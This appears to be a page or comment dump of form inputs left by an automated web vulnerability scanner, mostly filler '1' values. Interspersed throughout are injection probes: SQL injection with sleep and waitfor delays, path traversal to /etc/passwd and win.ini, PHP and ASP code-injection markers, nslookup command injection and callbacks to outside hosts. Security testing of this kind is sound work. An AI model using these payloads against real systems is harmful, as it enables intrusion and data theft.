1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

1

1

‘”

1

1

1

1

1

/www.vulnweb.com

JyI=

1

@@Ktjgb

1

1

\

1′”

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

1

1

1

1

1

http://hitJxjJvvNSQq.bxss.me/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

4986.html/.

1

1

4986.html

1

1

4986.html

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

${@print(md5(acunetix_wvs_security_test))}

1

1

1

1

1

“;print(md5(acunetix_wvs_security_test));$a=”

1

1

‘;print(md5(acunetix_wvs_security_test));$a=’

1

1

;print(md5(acunetix_wvs_security_test));

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

^(#$!@#$)(()))******

1

!(()&&!|*|*|

1

1

1

‘”()

)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1&n970758=v964295

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

testasp.vulnweb.com

1

1

1

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

1

http://testasp.vulnweb.com/t/fit.txt

1

1some_inexistent_file_with_long_name.jpg

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

WEB-INF\web.xml

WEB-INF/web.xml

1

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

1

1

1

…………….windowswin.ini

1

1

C:\WINDOWS\system32\drivers\etc\hosts

1

1

1

1

1

1

1

/WEB-INF/web.xml

file:///etc/passwd

%2fetc%2fpasswd

1

1

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

62xVwxz9

1

1

1

1

1

1

1

1

XxgHm19F’));select pg_sleep(6); —

1

S18Lbhcf’);select pg_sleep(6); —

1

lIWWVjhZ’;select pg_sleep(6); —

1

-1));select pg_sleep(3); —

1

-1);select pg_sleep(3); —

-1;select pg_sleep(3); —

0XBROeyK’; waitfor delay ‘0:0:3’ —

1 waitfor delay ‘0:0:3’ —

-1); waitfor delay ‘0:0:3’ —

-1; waitfor delay ‘0:0:9’ —

0″XOR(if(now()=sysdate(),sleep(9),0))XOR”Z

1

0’XOR(if(now()=sysdate(),sleep(9),0))XOR’Z

1

if(now()=sysdate(),sleep(9),0)

1

-1″ OR 2+578-578-1=0+0+0+1 —

&nslookup HCXDaS5l&’\”`0&nslookup HCXDaS5l&`’

-1′ OR 2+478-478-1=0+0+0+1 or ‘8pN4LWGG’=’

-1′ OR 2+292-292-1=0+0+0+1 —

$(nslookup PAQuzvAQ)

-1 OR 2+633-633-1=0+0+0+1

set|set&set

-1 OR 2+879-879-1=0+0+0+1 —

Wk6uLOJY

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

“+response.write(9102361*9470316)+”

‘+response.write(9102361*9470316)+’

response.write(9102361*9470316)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

1

‘”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

/www.vulnweb.com

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

JyI=

1

1

1

@@Fqedd

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

\

1

1

1

1′”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

1

1

${@print(md5(acunetix_wvs_security_test))}

1

“;print(md5(acunetix_wvs_security_test));$a=”

1

1

1

‘;print(md5(acunetix_wvs_security_test));$a=’

http://hit4iN7XvXiDy.bxss.me/

4986.html/.

;print(md5(acunetix_wvs_security_test));

4986.html

4986.html

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

WEB-INF\web.xml

1

1

WEB-INF/web.xml

1

1

1

1

1

1

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

1

1

1

1

…………….windowswin.ini

1

1

‘”()

1

1

1

C:\WINDOWS\system32\drivers\etc\hosts

1

1

1

1

1

1

1

/WEB-INF/web.xml

1

file:///etc/passwd

1

1

1

1

1

1

1

1

1

1

%2fetc%2fpasswd

1

1

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

^(#$!@#$)(()))******

1

1

!(()&&!|*|*|

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

)

1

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1&n997015=v911013

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

testasp.vulnweb.com

1

1

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

1

http://testasp.vulnweb.com/t/fit.txt

1

1

1some_inexistent_file_with_long_name.jpg

1

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1

1

1

AWCbpqBC’));select pg_sleep(3); —

OhQx2E7a’);select pg_sleep(10); —

1

pnYGtXNr’;select pg_sleep(10); —

1

1

1

1

1

-1));select pg_sleep(10); —

1

1

-1);select pg_sleep(10); —

1

1

-1;select pg_sleep(10); —

1

7YvPwIsd’; waitfor delay ‘0:0:10’ —

1

1 waitfor delay ‘0:0:7’ —

-1); waitfor delay ‘0:0:7’ —

1

-1; waitfor delay ‘0:0:7’ —

1

1

0″XOR(if(now()=sysdate(),sleep(7),0))XOR”Z

1

1

0’XOR(if(now()=sysdate(),sleep(7),0))XOR’Z

1

if(now()=sysdate(),sleep(3),0)

-1″ OR 2+279-279-1=0+0+0+1 —

1

1

-1′ OR 2+601-601-1=0+0+0+1 or ‘TZHr55UM’=’

1

-1′ OR 2+917-917-1=0+0+0+1 —

1

-1 OR 2+487-487-1=0+0+0+1

1

-1 OR 2+871-871-1=0+0+0+1 —

1

1

VYg8ZmdJ

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

yXkK0z90

&nslookup rNhDVv16&’\”`0&nslookup rNhDVv16&`’

1

“+response.write(9521962*9561561)+”

$(nslookup OhEGtBsy)

1

‘+response.write(9521962*9561561)+’

set|set&set

1

response.write(9521962*9561561)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!–

1

‘”

1

1

1

/www.vulnweb.com

1

1

JyI=

1

@@KBUf8

1

\

1′”

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

1

1

1

1

1

http://hitSZcyIFzMdc.bxss.me/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

1

${@print(md5(acunetix_wvs_security_test))}

1

“;print(md5(acunetix_wvs_security_test));$a=”

1

‘;print(md5(acunetix_wvs_security_test));$a=’

4986.html/.

;print(md5(acunetix_wvs_security_test));

4986.html

4986.html

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

‘”()

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

^(#$!@#$)(()))******

!(()&&!|*|*|

)

1

1

1

1

1

1

1

1

1

1

1

1

1&n903157=v964775

1

1

1

1

1

1

1

1

1

1

1

1

1

WEB-INF\web.xml

1

WEB-INF/web.xml

1

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

…………….windowswin.ini

C:\WINDOWS\system32\drivers\etc\hosts

/WEB-INF/web.xml

file:///etc/passwd

1

1

1

1

1

1

%2fetc%2fpasswd

1

1

testasp.vulnweb.com

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1

http://testasp.vulnweb.com/t/fit.txt?.jpg

1

http://testasp.vulnweb.com/t/fit.txt

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

1some_inexistent_file_with_long_name.jpg

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

qXhIlM4C’));select pg_sleep(10); —

1

QbWiM9jJ’);select pg_sleep(10); —

1

zgH2rtOJ’;select pg_sleep(10); —

-1));select pg_sleep(7); —

-1);select pg_sleep(7); —

-1;select pg_sleep(7); —

i0mjrbmx’; waitfor delay ‘0:0:7’ —

1

1 waitfor delay ‘0:0:7’ —

-1); waitfor delay ‘0:0:7’ —

1

-1; waitfor delay ‘0:0:3’ —

1

0″XOR(if(now()=sysdate(),sleep(3),0))XOR”Z

0’XOR(if(now()=sysdate(),sleep(3),0))XOR’Z

if(now()=sysdate(),sleep(3),0)

1

-1″ OR 2+827-827-1=0+0+0+1 —

-1′ OR 2+418-418-1=0+0+0+1 or ‘n800ykzI’=’

-1′ OR 2+902-902-1=0+0+0+1 —

1

1

-1 OR 2+521-521-1=0+0+0+1

1

-1 OR 2+478-478-1=0+0+0+1 —

1

1

1

1

SWVA7vaR

1

PvwsJiVM

1

1

1

1

1

1

&nslookup I0lNAq1H&’\”`0&nslookup I0lNAq1H&`’

$(nslookup 9zYEg9Pl)

set|set&set

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

“+response.write(9646772*9637900)+”

‘+response.write(9646772*9637900)+’

response.write(9646772*9637900)

1